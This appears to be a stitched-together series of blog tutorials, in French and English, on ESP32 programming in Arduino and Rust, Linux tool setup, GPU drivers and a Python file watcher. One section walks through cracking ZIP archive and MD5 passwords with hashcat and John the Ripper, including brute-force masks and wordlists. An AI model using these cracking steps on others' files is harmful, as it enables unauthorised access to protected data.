    return;
  }

  Serial.println("SD card successfully mounted");

  // Display SD card informations
  uint64_t cardSize = SD.cardSize() / (1024 * 1024);
  Serial.printf("SD card size: %llu MB\n", cardSize);

  // Create example file
  writeFile(SD, "/example.txt", "This is an example file.");
  
  // Read and display the files in the root dir
  listDir(SD, "/", 0);
}

void loop() {
  // Nothing to do
}

// Function to list files in a directory
void listDir(fs::FS &fs, const char * dirname, uint8_t levels) {
  Serial.printf("Directory listing: %s\n", dirname);

  File root = fs.open(dirname);
  if (!root || !root.isDirectory()) {
    Serial.println("Could not open directory Or it is not a directory");
    return;
  }

  File file = root.openNextFile();
  while (file) {
    if (file.isDirectory()) {
      Serial.print("DIR : ");
      Serial.println(file.name());
      if (levels) {
        listDir(fs, file.name(), levels - 1);
      }
    } else {
      Serial.print("FICHIER : ");
      Serial.print(file.name());
      Serial.print(" TAILLE : ");
      Serial.println(file.size());
    }
    file = root.openNextFile();
  }
}

// Function to write a file
void writeFile(fs::FS &fs, const char * path, const char * message) {
  Serial.printf("Writing in file: %s\n", path);

  File file = fs.open(path, FILE_WRITE);
  if (!file) {
    Serial.println("Could not open file to write into it");
    return;
  }

  if (file.print(message)) {
    Serial.println("File successfully written");
  } else {
    Serial.println("Impossible to write file");
  }

  file.close();
}

In a next article we will see how to do the same thing with Rust.

Prerequisites

[dependencies]
log = "0.4"
anyhow = "1.0"
esp-idf-hal = "0.45.2"
esp-idf-svc = { version = "0.51", features = ["critical-section", "embassy-time-driver", "embassy-sync"] }

Count cores code

Now update main.rs and add this code:

use esp_idf_hal::cpu;
use esp_idf_svc::log::EspLogger;

fn main() -> anyhow::Result<()> {
    EspLogger::initialize_default();
    log::info!("Starting program...");

    let cpu_cores = cpu::CORES;
    log::info!("Cores count : {}", cpu_cores);

    Ok(())
}

Build and Run

cargo generate --git https://github.com/esp-rs/esp-idf-template cargo
cd core
source ~/export-esp.sh
cargo build
espflash flash target/xtensa-esp32-espidf/debug/core --monitor

Execute code in different threads code

use core::time::Duration;
use std::thread;
fn main() {
    esp_idf_svc::log::EspLogger::initialize_default();
    log::info!("Starting multi-threaded example on ESP32");

    // Spawn thread 1 on Core 0
    thread::spawn(|| {
        loop {
            log::info!("Task running on Core 0");
            thread::sleep(Duration::from_secs(2)); // Simulate work
        }
    });

    // Spawn thread 2 on Core 1
    thread::spawn(|| {
        loop {
            log::info!("Task running on Core 1");
            thread::sleep(Duration::from_secs(4)); // Simulate work
        }
    });

    // Keep the main thread alive
    loop {
        thread::sleep(Duration::from_secs(10));
    }
}

Execute code in different threads and share variable

use core::time::Duration;
use std::sync::{Arc, Mutex};
use std::thread;

fn main() {
    // Initialisation du logger
    esp_idf_svc::log::EspLogger::initialize_default();
    log::info!("Starting program");

    // Shared variable between threads
    let shared_counter = Arc::new(Mutex::new(0));

    // Spawn thread 1 on Core 0
    let counter_thread_1 = Arc::clone(&shared_counter);
    thread::spawn(move || {
        loop {
            {
                let mut counter = counter_thread_1.lock().unwrap();
                *counter += 1;
                log::info!("Core 0 incremented counter to {}", *counter);
            }
            thread::sleep(Duration::from_secs(2)); // Simule du travail
        }
    });

    // Spawn thread 2 on Core 1
    let counter_thread_2 = Arc::clone(&shared_counter);
    thread::spawn(move || {
        loop {
            {
                let mut counter = counter_thread_2.lock().unwrap();
                *counter += 2;
                log::info!("Core 1 incremented counter to {}", *counter);
            }
            thread::sleep(Duration::from_secs(4)); // Simule du travail
        }
    });

    // Main Thread: read shared variable value
    loop {
        {
            let counter = shared_counter.lock().unwrap();
            log::info!("Main thread reads counter: {}", *counter);
        }
        thread::sleep(Duration::from_secs(5));
    }
}

The crates used are the following ones:

[dependencies]
log = "0.4"
esp-idf-svc = { version = "0.51", features = ["critical-section", "embassy-time-driver", "embassy-sync"] }
esp-idf-hal = "0.45.2"

use esp_idf_hal::prelude::*;
use esp_idf_svc::eventloop::EspSystemEventLoop;
use esp_idf_svc::nvs::EspDefaultNvsPartition;
use esp_idf_svc::sys::EspError;
use esp_idf_svc::wifi::{AuthMethod, BlockingWifi, ClientConfiguration, Configuration, EspWifi};
use std::thread;
use std::time::Duration;

fn main() -> Result<(), EspError> {
    esp_idf_svc::sys::link_patches();
    esp_idf_svc::log::EspLogger::initialize_default();
    log::set_max_level(log::LevelFilter::Info);
    log::info!("Program started!");

    // Init needed components
    let peripherals = Peripherals::take().unwrap();
    let nvs = EspDefaultNvsPartition::take()?;
    let sys_loop = EspSystemEventLoop::take()?;

    // Init WiFi
    let esp_wifi = EspWifi::new(peripherals.modem, sys_loop.clone(), Some(nvs))?;
    let mut wifi = BlockingWifi::wrap(esp_wifi, sys_loop)?;

    let wifi_config = Configuration::Client(ClientConfiguration::default());
    wifi.set_configuration(&wifi_config)?;

    wifi.start()?;
    println!("WiFi started in station mode");
    thread::sleep(Duration::from_secs(2));

    // Boucle infinie pour scanner les réseaux
    loop {
        println!("\n=== Scanning WiFi networks... ===");

        match wifi.scan() {
            Ok(scan_result) => {
                println!("{} WiFi networks detected:", scan_result.len());

                // Sort networks per signal power (stronger first)
                let mut networks = scan_result;
                networks.sort_by(|a, b| b.signal_strength.cmp(&a.signal_strength));

                for (i, ap) in networks.iter().enumerate() {
                    // Convert SSID to String
                    let ssid = if ap.ssid.is_empty() {
                        "<Hidden network>".to_string()
                    } else {
                        ap.ssid.to_string()
                    };

                    // Format BSSID to MAC address
                    let mac = format!(
                        "{:02X}:{:02X}:{:02X}:{:02X}:{:02X}:{:02X}",
                        ap.bssid[0],
                        ap.bssid[1],
                        ap.bssid[2],
                        ap.bssid[3],
                        ap.bssid[4],
                        ap.bssid[5]
                    );

                    println!(
                        "{:2}. SSID: {:32} | Signal: {:4} dBm | Channel: {:2} | MAC: {:17} | Security: {:?}",
                        i + 1,
                        ssid,
                        ap.signal_strength,
                        ap.channel,
                        mac,
                        auth_method_to_string(ap.auth_method)
                    );
                }
            }
            Err(e) => {
                println!("Error while scanning: {:?}", e);
            }
        }

        println!("Wait 5 seconds before next scan...");
        thread::sleep(Duration::from_secs(5));
    }
}

fn auth_method_to_string(auth: Option<AuthMethod>) -> &'static str {
    match auth {
        Some(AuthMethod::None) => "Open",
        Some(AuthMethod::WEP) => "WEP",
        Some(AuthMethod::WPA) => "WPA",
        Some(AuthMethod::WPA2Personal) => "WPA2-Personal",
        Some(AuthMethod::WPA3Personal) => "WPA3-Personal",
        Some(AuthMethod::WPA2Enterprise) => "WPA2-Enterprise",
        Some(AuthMethod::WPA2WPA3Personal) => "WPA2/WPA3",
        None => "Unknown",
        _ => "Unknown",
    }
}

Connect the NEO-6M GPS module to the ESP32
Then create an Arduino program and deploy it to the ESP-wroom-32.

arduino-cli sketch new arduino-gps
cd arduino-gps/

Edit the arduino-gps.ino file and add the following content:

#define RXD2 16
#define TXD2 17

#define GPS_BAUD 9600

// Create an instance of the HardwareSerial class for Serial 2
HardwareSerial gpsSerial(2);

void setup(){
  // Serial Monitor
  Serial.begin(115200);

  // Start Serial 2 with the defined RX and TX pins and a baud rate of 9600
  gpsSerial.begin(GPS_BAUD, SERIAL_8N1, RXD2, TXD2);
  Serial.println("Serial 2 started at 9600 baud rate");
}

void loop(){
  while (gpsSerial.available() > 0){
    // get the byte data from the GPS
    char gpsData = gpsSerial.read();
    Serial.print(gpsData);
  }
  delay(1000);
  Serial.println("-------------------------------");
}

Compile and deploy:

arduino-cli compile --fqbn esp32:esp32:esp32 arduino-gps.ino
arduino-cli upload -p /dev/ttyUSB0 --fqbn esp32:esp32:esp32 arduino-gps.ino
arduino-cli monitor -p /dev/ttyUSB0 -c baudrate=115200

Put the GPS module outside your house and once it starts to blink it means he starts to get a precise position.

The important line is the one that starts with $GPGGA. Ask chatgpt to explain you how it’s structure. It’s very simple and you have all kinds of information.

Connect the NEO-6M GPS module to the ESP32

Dependencies:

esp-idf-svc = { version = "0.51", features = ["critical-section", "embassy-time-driver", "embassy-sync"] }
esp-idf-hal = "0.45.2"

use esp_idf_hal::peripherals::Peripherals;
use esp_idf_hal::prelude::*;
use esp_idf_hal::uart::*;
use esp_idf_svc::hal::uart::config::DataBits;
use esp_idf_svc::hal::uart::config::StopBits;

fn main() -> Result<(), Box<dyn std::error::Error>> {
    // Lien des patches ESP-IDF
    esp_idf_svc::sys::link_patches();
    
    // Configuration du logger
    esp_idf_svc::log::EspLogger::initialize_default();
    log::info!("Démarrage de l'application GPS");

    // Initialisation des périphériques
    let peripherals = Peripherals::take().unwrap();
    
    // Configuration de l'UART
    let config = config::Config::default()
        .baudrate(Hertz(9600))
        .data_bits(DataBits::DataBits8)
        .parity_none()
        .stop_bits(StopBits::STOP1);

    // Création du driver UART avec typage explicite
    let mut uart_driver = UartDriver::new(
        peripherals.uart2,
        peripherals.pins.gpio17, // TX
        peripherals.pins.gpio16, // RX
        Option::<esp_idf_hal::gpio::Gpio0>::None, // RTS (pas utilisé)
        Option::<esp_idf_hal::gpio::Gpio0>::None, // CTS (pas utilisé)
        &config,
    )?;

    println!("UART initialisé avec un débit de 9600 bauds");

    // Buffer pour stocker les données GPS
    let mut buffer = [0u8; 128];
    
    loop {
        // Lecture des données disponibles sur l'UART avec timeout
        match uart_driver.read(&mut buffer, 1000) {
            Ok(bytes_read) if bytes_read > 0 => {
                let gps_data = &buffer[..bytes_read];
                println!(
                    "Données GPS reçues : {}",
                    String::from_utf8_lossy(gps_data)
                );
            },
            Ok(_) => {
                println!("Aucune donnée GPS reçue (timeout)");
            },
            Err(e) => {
                println!("Erreur de lecture UART: {:?}", e);
            }
        }

        println!("-------------------------------");
        std::thread::sleep(std::time::Duration::from_secs(1));
    }
}

Prerequisites

[dependencies]
log = "0.4"
anyhow = "1"
embedded-svc = { version = "0.28", default-features = false }
esp-idf-svc = { version = "0.51", features = ["critical-section", "embassy-time-driver", "embassy-sync"] }

Code

Now update main.rs and add this code:

use core::convert::TryInto;
use embedded_svc::wifi::{AuthMethod, ClientConfiguration, Configuration};

use esp_idf_svc::hal::prelude::Peripherals;
use esp_idf_svc::log::EspLogger;
use esp_idf_svc::wifi::{BlockingWifi, EspWifi};
use esp_idf_svc::{eventloop::EspSystemEventLoop, nvs::EspDefaultNvsPartition};

use log::info;

const SSID: &str = "SSID";
const PASSWORD: &str = "password";

fn main() -> anyhow::Result<()> {
    esp_idf_svc::sys::link_patches();
    EspLogger::initialize_default();

    let peripherals = Peripherals::take()?;
    let sys_loop = EspSystemEventLoop::take()?;
    let nvs = EspDefaultNvsPartition::take()?;

    let mut wifi = BlockingWifi::wrap(
        EspWifi::new(peripherals.modem, sys_loop.clone(), Some(nvs))?,
        sys_loop,
    )?;

    connect_wifi(&mut wifi)?;

    let ip_info = wifi.wifi().sta_netif().get_ip_info()?;

    info!("Wifi DHCP info: {:?}", ip_info);

    info!("Shutting down in 5s...");

    std::thread::sleep(core::time::Duration::from_secs(5));

    Ok(())
}

fn connect_wifi(wifi: &mut BlockingWifi<EspWifi<'static>>) -> anyhow::Result<()> {
    let wifi_configuration: Configuration = Configuration::Client(ClientConfiguration {
        ssid: SSID.try_into().unwrap(),
        bssid: None,
        auth_method: AuthMethod::WPA2Personal,
        password: PASSWORD.try_into().unwrap(),
        channel: None,
        ..Default::default()
    });

    wifi.set_configuration(&wifi_configuration)?;

    wifi.start()?;
    info!("Wifi started");

    wifi.connect()?;
    info!("Wifi connected");

    wifi.wait_netif_up()?;
    info!("Wifi netif up");

    Ok(())
}

Build and Run

cargo build
espflash flash target/xtensa-esp32-espidf/debug/blink --monitor

Prerequisites

[dependencies]
log = "0.4"
anyhow = "1"
embedded-svc = { version = "0.28", default-features = false }
esp-idf-svc = { version = "0.51", features = ["critical-section", "embassy-time-driver", "embassy-sync"] }
esp-idf-hal = "0.45.2"

Code

Now update main.rs and add this code:

use core::convert::TryInto;
use embedded_svc::wifi::{AuthMethod, ClientConfiguration, Configuration};

//use esp_idf_svc::hal::prelude::Peripherals;
use esp_idf_svc::log::EspLogger;
use esp_idf_svc::wifi::{BlockingWifi, EspWifi};
use esp_idf_svc::{eventloop::EspSystemEventLoop, nvs::EspDefaultNvsPartition};

use log::info;
use std::net::{UdpSocket, Ipv4Addr, SocketAddrV4};
use std::time::Duration;
use esp_idf_hal::delay::FreeRtos;
use esp_idf_hal::gpio::PinDriver;
use esp_idf_hal::peripherals::Peripherals;

const SSID: &str = "...";
const PASSWORD: &str = "...";

fn main() -> anyhow::Result<()> {
    esp_idf_svc::sys::link_patches();
    EspLogger::initialize_default();

    let peripherals = Peripherals::take()?;
    let sys_loop = EspSystemEventLoop::take()?;
    let nvs = EspDefaultNvsPartition::take()?;

    let mut wifi = BlockingWifi::wrap(
        EspWifi::new(peripherals.modem, sys_loop.clone(), Some(nvs))?,
        sys_loop,
    )?;

    connect_wifi(&mut wifi)?;

    let ip_info = wifi.wifi().sta_netif().get_ip_info()?;

    info!("Wifi DHCP info: {:?}", ip_info);
    
    //let peripherals = Peripherals::take().unwrap();
    let pins = peripherals.pins;

    let mut led = PinDriver::output(pins.gpio2).unwrap();
    let button = PinDriver::input(pins.gpio35).unwrap();
    let mac: [u8; 6] = [0x94, 0xC6, 0x91, 0xAD, 0x1D, 0x49];
    loop {
        if button.is_high() {
            log::info!("Switch ON");
            led.set_high().unwrap(); // Switch ON LED
            send_wol(&mac);
            
        } else {
            log::info!("Switch OFF");
            led.set_low().unwrap();  // Switch OFF LED
        }
        FreeRtos::delay_ms(1000u32);
    }
    
}

fn connect_wifi(wifi: &mut BlockingWifi<EspWifi<'static>>) -> anyhow::Result<()> {
    let wifi_configuration: Configuration = Configuration::Client(ClientConfiguration {
        ssid: SSID.try_into().unwrap(),
        bssid: None,
        auth_method: AuthMethod::WPA2Personal,
        password: PASSWORD.try_into().unwrap(),
        channel: None,
        ..Default::default()
    });

    wifi.set_configuration(&wifi_configuration)?;

    wifi.start()?;
    info!("Wifi started");

    wifi.connect()?;
    info!("Wifi connected");

    wifi.wait_netif_up()?;
    info!("Wifi netif up");
    send_wol(&mac);
    
    Ok(())
}

fn send_wol(mac: &[u8; 6]) {
    info!("Sending WOL request on the LAN");
    let mut packet: Vec<u8> = vec![0xFF; 6]; // 6 octets at 0xFF
    packet.extend_from_slice(&mac.repeat(16)); // repeat the MAC address 16 times
    let socket = UdpSocket::bind("0.0.0.0:0").expect("Impossible to bind socket");
    socket.set_read_timeout(Some(Duration::from_secs(2))).unwrap();
    let addr = SocketAddrV4::new(Ipv4Addr::new(255, 255, 255, 255), 9);
    socket
        .send_to(&packet, addr)
        .expect("Failed sending WOL packet");

    info!("Wake-on-LAN sent to MAC: {:02x}:{:02x}:{:02x}:{:02x}:{:02x}:{:02x}", mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);

}

Build and Run

cargo build
espflash flash target/xtensa-esp32-espidf/debug/blink --monitor

Prerequisites

[dependencies]
log = "0.4"
esp-idf-svc = { version = "0.51", features = ["critical-section", "embassy-time-driver", "embassy-sync"] }
esp-idf-hal = "0.45.2"

Code

Now update main.rs and add this code:

use esp_idf_hal::delay::FreeRtos;
use esp_idf_hal::gpio::PinDriver;
use esp_idf_hal::peripherals::Peripherals;


fn main() -> ! {
    esp_idf_svc::sys::link_patches();

    // Bind the log crate to the ESP Logging facilities
    esp_idf_svc::log::EspLogger::initialize_default();

    log::info!("Starting program...");

    // Get ESP-IDF peripherals
    let peripherals = Peripherals::take().unwrap();
    let pins = peripherals.pins;

    let mut led = PinDriver::output(pins.gpio2).unwrap();
    let button = PinDriver::input(pins.gpio35).unwrap();

    loop {
        if button.is_high() {
            log::info!("Switch ON");
            led.set_high().unwrap(); // Switch ON LED
        } else {
            log::info!("Switch OFF");
            led.set_low().unwrap();  // Switch OFF LED
        }
        FreeRtos::delay_ms(100u32);
    }
}

Build and Run

cargo build
espflash flash target/xtensa-esp32-espidf/debug/blink --monitor

In this new article, we will explore how to make an onboard LED blink on an ESP32 using Rust.

Project initialization

cargo generate --git https://github.com/esp-rs/esp-idf-template cargo
cd blink
source ~/export-esp.sh
cargo build
espflash flash target/xtensa-esp32-espidf/debug/blink --monitor

Update template code

Install Rust crate

cargo add esp-idf-hal

Cargo.toml looks like this:

[package]
name = "blink"
version = "0.1.0"
authors = ["olivier"]
edition = "2021"
resolver = "2"
rust-version = "1.77"

[[bin]]
name = "blink"
harness = false # do not use the built in cargo test harness -> resolve rust-analyzer errors

[profile.release]
opt-level = "s"

[profile.dev]
debug = true    # Symbols are nice and they don't increase the size on Flash
opt-level = "z"

[features]
default = []

experimental = ["esp-idf-svc/experimental"]

[dependencies]
log = "0.4"
esp-idf-svc = { version = "0.51", features = ["critical-section", "embassy-time-driver", "embassy-sync"] }
esp-idf-hal = "0.45.2"

[build-dependencies]
embuild = "0.33"

Now update main.rs and add this code:

use esp_idf_hal::gpio::PinDriver;
use esp_idf_hal::peripherals::Peripherals;
use esp_idf_hal::delay::FreeRtos;

fn main() -> ! {

    let peripherals = Peripherals::take().unwrap();
    let pins = peripherals.pins;
    let mut led = PinDriver::output(pins.gpio2).unwrap();
    loop {
        FreeRtos::delay_ms(50u32);
        led.set_high().unwrap(); // Switch ON
        FreeRtos::delay_ms(50u32);
        led.set_low().unwrap();  // Switch OFF
    }
}

Build and Run

cargo build
espflash flash target/xtensa-esp32-espidf/debug/blink --monitor

Installation

Rendez-vous sur https://github.com/coder/code-server/releases pour sélectionner la version que vous souhaitez installer.

export VERSION=4.102.1
# Sur Fedora
curl -fOL https://github.com/coder/code-server/releases/download/v$VERSION/code-server-$VERSION-amd64.rpm
sudo rpm -i code-server-$VERSION-amd64.rpm
# Sur Ubuntu 22
wget https://github.com/coder/code-server/releases/download/v4.102.1/code-server_4.102.1_amd64.deb
sudo dpkg -i code-server_4.102.1_amd64.deb
sudo systemctl enable --now code-server@$USER

Configuration

Editer le fichier de config ~/.config/code-server/config.yaml pour activer l’utilisation d’un certificat HTTPS (même en local) et récupérez le mot de passe d’accès à votre instance code-server.

Un fois la config modifiée, redémarrer le service avec la commande: sudo systemctl restart code-server@$USER

That’s all!

Rendez-vous sur https://SERVER_IP:8080 (8080 est le port par défaut)

Installation

mkdir -p ~/local/bin
curl -fsSL https://raw.githubusercontent.com/arduino/arduino-cli/master/install.sh | BINDIR=~/local/bin sh
echo 'export PATH="$HOME/local/bin:$PATH"' >> ~/.bashrc
source ~/.bashrc
arduino-cli version


arduino-cli core update-index
arduino-cli core install esp32:esp32
arduino-cli sketch new mon_projet_esp32_arduino
arduino-cli compile --fqbn esp32:esp32:esp32 mon_projet_esp32_arduino
arduino-cli upload -p /dev/ttyUSB0 --fqbn esp32:esp32:esp32 mon_projet_esp32_arduino

Test

Ouvrir le projet Arduino mon_projet_esp32_arduino et modifier le fichier .ino. Insérer le code suivant:

#define LED 2

void setup() {
  // Set pin mode
  pinMode(LED,OUTPUT);
}

void loop() {
  delay(50);
// you can set the delay time by adjusting the parameter of delay();
  digitalWrite(LED,HIGH);
  delay(50);
  digitalWrite(LED,LOW);
}

Puis pour rebuid et redeploy:

arduino-cli compile --fqbn esp32:esp32:esp32 mon_projet_esp32_arduino
arduino-cli upload -p /dev/ttyUSB0 --fqbn esp32:esp32:esp32 mon_projet_esp32_arduino

Troubleshooting

arduino-cli monitor -p /dev/ttyUSB0 -c baudrate=115200

Installation

Install Ubuntu packages

sudo apt install -y build-essential libssl-dev pkg-config git
sudo apt install -y python3-pip python3-venv

Configure USB permissions

sudo usermod -aG dialout $USER
sudo usermod -aG tty $USER
# Restart the session

Install Rust

curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
source $HOME/.cargo/env

Install espup for Xtensa (ESP-WROOM-32 architecture)

cargo install espup
espup install
source ~/export-esp.sh

Additional tools

cargo install cargo-generate espflash cargo-espflash ldproxy

Create a package, build and deploy

cargo generate --git https://github.com/esp-rs/esp-idf-template cargo
cd esp32-project

Build

source ~/export-esp.sh
cargo build

Flash on ESP32

espflash flash target/xtensa-esp32-espidf/debug/esp32-project --monitor

Troubleshooting

sudo apt install libudev-dev libusb-1.0-0-dev

Check permissions

ls -l /dev/ttyUSB0  # Must belong to 'dialout' group
# sudo usermod -a -G dialout $USER
# sudo chown $USER /dev/ttyUSB0

Check espflash version

espflash --version  # Requires v2.0+

Verify communication with ESP

espflash board-info

Installation de quickemu

# check if python3 is installed 
# python3 --version
# sudo apt install python3 # si nécessaire
sudo apt install qemu bash coreutils ovmf grep jq lsb procps genisoimage usbutils util-linux sed spice-client-gtk swtpm wget xdg-user-dirs zsync unzip

sudo apt-add-repository ppa:flexiondotorg/quickemu
sudo apt update
sudo apt install quickemu

Installation du GUI

sudo add-apt-repository ppa:yannick-mauray/quickgui
sudo apt update
sudo apt install quickgui

CLI usage

quickget ubuntu-mate 20.04
quickemu --vm ubuntu-mate-20.04.conf

# doc: https://github.com/quickemu-project/quickemu/wiki/06-Advanced-quickget-features

Tip: Cliquez sur Ctrl + Alt + f pour quitter le mode fullscreen

Pré-requis

nvidia-smi déjà installé.

Installation de hashcat

sudo apt update
sudo apt upgrade
apt install hashcat

Installation de Cuda Toolkit 11.7

wget https://developer.download.nvidia.com/compute/cuda/11.7.0/local_installers/cuda_11.7.0_515.43.04_linux.run
sudo sh cuda_11.7.0_515.43.04_linux.run
# Installer Cuda et refuser l'installation du Driver Nvidia
# Une fois l'installation terminée, ajouter cuda au bashrc

echo "export PATH=/usr/local/cuda-11.7/bin:$PATH" >> ~/.bashrc
echo "export LD_LIBRARY_PATH=/usr/local/cuda-11.7/lib64:$LD_LIBRARY_PATH" >> ~/.bashrc

Vérification

nvcc --version
hashcat -I

Test de crack du MD5 suivant: 82a4b202be22fbbcd236d2f65988acde pour vérifier que les GPUs sont ok.
echo "82a4b202be22fbbcd236d2f65988acde" > hash.txt
hashcat -a 3 -m 0 --increment --increment-min=1 --increment-max=20 hash.txt -1 ?l?u?d ?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1?1

Extraire des hashes (d’un zip par exemple)

sudo apt install john build-essential libssl-dev zlib1g-dev -y
git clone "https://github.com/magnumripper/JohnTheRipper.git" && cd JohnTheRipper/src && ./configure && sudo make -s clean && sudo make -sj4 

# Trouver le path de zip2john
sudo find / -name zip2john 2>/dev/null
echo "export PATH=/home/olivier/JohnTheRipper/run:$PATH" >> ~/.bashrc
zip2john archive.zip > archive.hash

# Ou sur OSX 
/opt/homebrew/Cellar/john-jumbo/1.9.0_1/share/john/zip2john archive.zip > archive.hash

Trouver un mot de passe

# Cleaner le hash du zip
sed 's/^.*\(\$pkzip\$.*\$\/pkzip\$\).*/\1/' archive.hash > fixed.hash

# Exemples: 
## Exemple 1 pour mot de passe monMotDePasse:
$pkzip2$1*2*2*0*11*5*3bb935c6*0*46*0*11*3bb9*7421*049b7aaecce339b3f7252da83f0a1b1231*$/pkzip2$
## Exemple 2 pour mot de passe monMDP:
$pkzip2$1*2*2*0*15*9*4af10d19*0*46*0*15*4af1*8d6f*651a278b80d96268b1a8ec6cbc400c7ebc6592f377*$/pkzip2$

- Mode 13600 (ou similaire) pour le chiffrement traditionnel (ZipCrypto).
- Mode 17210 pour les archives utilisant AES (PKZIP2).

# Pour du pkzip
hashcat -a 3 -m 13600 --increment --increment-min=1 --increment-max=20 fixed.hash ?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a
Ou
# Pour du pkzip2
hashcat -a 3 -m 17210 --increment --increment-min=1 --increment-max=20 fixed.hash ?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a?a
Ou
hashcat -m 17200 -a 3 -w 4 --optimized-kernel-enable fixed.hash ?a?a?a?a?a?a

Voir ~/.hashcat/hashcat.potfile pour le résultat ou hashcat --show archive.hash

Troubleshooting

Hashfile 'archive_hash.txt' on line 1 (archiv....04.png:archive.zip::archive.zip): Signature unmatched -> Vérifiez le type de chiffrement utilisé:

sudo apt install p7zip-full 
7z l -slt archive.zip | grep Method

Method = ZipCrypto → OK pour zip2john.
Method = AES-256 → Nécessite une approche différente.

Bloquer la mise en veille automatique d’Ubuntu pour éviter que tout s’arrête…

sudo systemctl mask sleep.target suspend.target hibernate.target hybrid-sleep.target

sudo dnf install hashcat hashcat-devel hashcat-doc

Vérifier si votre GPU est détecté

hashcat -I

Réaliser un benchmark

hashcat -b

Faire un test avec un hash MD5

wget -c https://github.com/danielmiessler/SecLists/archive/master.zip -O SecList.zip \
  && unzip SecList.zip \
  && rm -f SecList.zip

echo "5d41402abc4b2a76b9719d911017c592" > test.hash
hashcat -m 0 -a 0 test.hash ~/Dev/SecLists-master/Passwords/xato-net-10-million-passwords-1000000.txt

Activez le dépôt RPM Fusion

Le dépôt RPM Fusion fournit les pilotes NVIDIA officiels pour Fedora.

sudo dnf install \
    https://download1.rpmfusion.org/free/fedora/rpmfusion-free-release-$(rpm -E %fedora).noarch.rpm \
    https://download1.rpmfusion.org/nonfree/fedora/rpmfusion-nonfree-release-$(rpm -E %fedora).noarch.rpm

sudo dnf upgrade --refresh

Installez les pilotes NVIDIA

sudo dnf install akmod-nvidia
sudo dnf install xorg-x11-drv-nvidia-cuda
sudo reboot

Vérifiez l’installation

nvidia-smi

sudo dnf install python3.11
sudo alternatives --install /usr/bin/python3 python3 /usr/bin/python3.11 1
sudo alternatives --display python3
python3 --version
curl -O https://bootstrap.pypa.io/get-pip.py
python3 get-pip.py
pip --version
pip install torch torchvision torchaudio --index-url https://download.pytorch.org/whl/cu118

Créer un fichier main.py pour vérifier que Pytorch est accessible et détecte bien votre GPU.

import torch

print("Is CUDA available:", torch.cuda.is_available())
print("Number of GPUs:", torch.cuda.device_count())
print("Current GPU:", torch.cuda.get_device_name(0) if torch.cuda.is_available() else "None")

if torch.cuda.is_available():
    x = torch.tensor([1.0, 2.0, 3.0], device='cuda')
    print(x)

Troubleshooting

Si vous rencontrez l’erreur suivante:

NVIDIA-SMI has failed because it couldn't communicate with the NVIDIA driver. Make sure that the latest NVIDIA driver is installed and running.

Alors autoriser l’accès au thunderbolt via la commande:

echo 1 | sudo tee /sys/bus/thunderbolt/devices/*/authorized

# Voir si le eGPU est accessible:
# sudo dnf install bolt 
# sudo systemctl restart bolt
# boltctl list

• Allez dans Services > DHCP Server.
• Sélectionnez l’interface correspondante (par exemple, LAN).
• Ajouter une réservation DHCP :
  • Descendez jusqu’à la section DHCP Static Mappings for this Interface.
  • Cliquez sur Add (+).
  • Configurer les détails de la réservation :
    • MAC Address : Entrez l’adresse MAC de l’appareil.
    • IP Address : Choisissez une adresse IP fixe dans la plage autorisée mais en dehors de la plage dynamique du DHCP.
• Save
• Appliquer

Pré-requis

pip install watchdog

Créer un script de surveillance

Tracker un fichier.py

Créer par exemple un fichier appelé run_and_reload.py

import time
import os
import sys
import argparse
from watchdog.observers import Observer
from watchdog.events import FileSystemEventHandler

class TargetFileHandler(FileSystemEventHandler):
    def __init__(self, target_file):
        self.target_file = os.path.abspath(target_file)

    def on_modified(self, event):
        if os.path.abspath(event.src_path) == self.target_file:
            print(f"[MODIFIED] {event.src_path}")

    def on_deleted(self, event):
        if os.path.abspath(event.src_path) == self.target_file:
            print(f"[DELETED] {event.src_path}")

    def on_created(self, event):
        if os.path.abspath(event.src_path) == self.target_file:
            print(f"[CREATED] {event.src_path}")

def main():
    parser = argparse.ArgumentParser(description="Monitor a .py file for changes.")
    parser.add_argument("file", help="Path to the .py file to monitor")
    parser.add_argument("-d", "--directory", help="Directory to monitor (default: file's directory)")

    args = parser.parse_args()

    file_path = os.path.abspath(args.file)

    if not os.path.isfile(file_path):
        print(f"Error: File '{file_path}' does not exist.")
        sys.exit(1)

    # Use the provided directory or fallback to the file's directory
    directory_to_watch = os.path.abspath(args.directory) if args.directory else os.path.dirname(file_path)

    if not os.path.isdir(directory_to_watch):
        print(f"Error: Directory '{directory_to_watch}' does not exist.")
        sys.exit(1)

    event_handler = TargetFileHandler(file_path)
    observer = Observer()
    observer.schedule(event_handler, path=directory_to_watch, recursive=False)
    observer.start()

    print(f"⏳ Monitoring: {file_path}")
    print(f"📁 Watched directory: {directory_to_watch}")
    print("🔔 Press Ctrl+C to stop")

    try:
        while True:
            time.sleep(1)
    except KeyboardInterrupt:
        observer.stop()
        print("\nStopping monitor...")

    observer.join()

if __name__ == "__main__":
    main()

Usage:

python run_and_reload.py my_script.py ou python run_and_reload.py my_script.py -d ./another/path

Tracker un module

import time
import os
import sys
import argparse
import subprocess
import threading
from watchdog.observers import Observer
from watchdog.events import FileSystemEventHandler


class ModuleChangeHandler(FileSystemEventHandler):
    def __init__(self, restart_callback, extensions=(".py",)):
        self.restart_callback = restart_callback
        self.extensions = extensions

    def on_any_event(self, event):
        if any(event.src_path.endswith(ext) for ext in self.extensions):
            print(f"[CHANGE DETECTED] {event.src_path}")
            self.restart_callback()


class ModuleRunner:
    def __init__(self, module_command, watch_directory):
        self.module_command = module_command
        self.watch_directory = watch_directory
        self.process = None

    def start(self):
        print(f"▶️ Starting: {self.module_command}")
        self.process = subprocess.Popen(
            self.module_command,
            shell=True,
            stdout=subprocess.PIPE,
            stderr=subprocess.STDOUT,
            universal_newlines=True,
            bufsize=1,
        )
        threading.Thread(target=self._stream_output, daemon=True).start()

    def _stream_output(self):
        # Read the output line-by-line and forward to main stdout
        for line in self.process.stdout:
            print(line, end="")  # already includes \n

    def stop(self):
        if self.process and self.process.poll() is None:
            print("⏹️ Stopping previous process...")
            self.process.terminate()
            try:
                self.process.wait(timeout=5)
            except subprocess.TimeoutExpired:
                self.process.kill()

    def restart(self):
        self.stop()
        self.start()


def main():
    parser = argparse.ArgumentParser(
        description="Watch a Python module and auto-restart on changes."
    )
    parser.add_argument("module", help="Module to run (example: my_module.main)")
    parser.add_argument(
        "-d",
        "--directory",
        help="Directory to watch (default: current directory)",
        default=".",
    )

